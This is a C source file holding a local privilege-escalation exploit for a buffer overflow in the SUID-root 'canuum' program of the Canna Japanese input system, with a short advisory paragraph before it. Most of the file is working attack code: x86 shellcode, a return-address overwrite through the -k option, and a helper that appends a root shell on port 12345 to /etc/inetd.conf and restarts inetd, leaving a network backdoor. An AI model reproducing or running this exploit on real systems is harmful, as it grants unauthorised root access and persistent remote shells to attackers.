72 lines
No EOL
2.5 KiB
C
72 lines
No EOL
2.5 KiB
C
// source: https://www.securityfocus.com/bid/758/info
|
|
|
|
Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese.
|
|
|
|
Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romaji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way.
|
|
|
|
Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion.
|
|
|
|
The Canna subsystem on certain UNIX versions contains a buffer overflow in the 'canuum' program. Canuum is a Japanese input tty frontend for Canna using uum. Certain versions have a buffer overflow via unchecked user supplied data in the -k,-c,-n options.
|
|
|
|
Since this program is installed SUID root this attack will result in a root level compromise.
|
|
|
|
/*=============================================================================
|
|
canuum Exploit for Linux
|
|
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
|
|
Written by UNYUN (shadowpenguin@backsection.net)
|
|
=============================================================================
|
|
*/
|
|
#include <stdio.h>
|
|
|
|
#define RETADR 1676
|
|
#define MAXBUF 2000
|
|
#define JMP_OFS 0x200
|
|
#define NOP 0x90
|
|
#define SHELL "/tmp/pp"
|
|
#define COMPILER "gcc"
|
|
|
|
|
|
char exec[60]=
|
|
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
|
|
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
|
|
"\x80\xe8\xdc\xff\xff\xff";
|
|
FILE *fp;
|
|
|
|
unsigned long get_sp(void)
|
|
{
|
|
__asm__("movl %esp, %eax");
|
|
}
|
|
|
|
main()
|
|
{
|
|
char buf[MAXBUF+1];
|
|
unsigned int i,ip,sp;
|
|
|
|
sprintf(buf,"%s.c",SHELL);
|
|
if ((fp=fopen(buf,"w"))==NULL){
|
|
printf("Can not write to %s\n",buf);
|
|
exit(1);
|
|
}
|
|
fprintf(fp,"main(){setuid(0);setgid(0);");
|
|
fprintf(fp,"system(\"echo 12345 stream tcp nowait root /bin/sh sh -i");
|
|
fprintf(fp," >> /etc/inetd.conf; killall -HUP inetd\");}\n");
|
|
fclose(fp);
|
|
sprintf(buf,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
|
|
system(buf);
|
|
|
|
memset(buf,'a',MAXBUF);
|
|
buf[MAXBUF]=0;
|
|
|
|
strcat(exec,SHELL);
|
|
memcpy(buf+300,exec,strlen(exec));
|
|
sp=get_sp();
|
|
ip=sp+JMP_OFS;
|
|
printf("Jumping address = %x\n\n\n",ip);
|
|
printf("Please execute following command after \"Segmentation Fault\"\n");
|
|
printf("\ntelnet localhost 12345\n\n\n");
|
|
buf[RETADR ]=ip&0xff;
|
|
buf[RETADR+1]=(ip>>8)&0xff;
|
|
buf[RETADR+2]=(ip>>16)&0xff;
|
|
buf[RETADR+3]=(ip>>24)&0xff;
|
|
execl("/usr/jp/canna/bin/canuum","canuum","-k",buf,(char *)0);
|
|
} |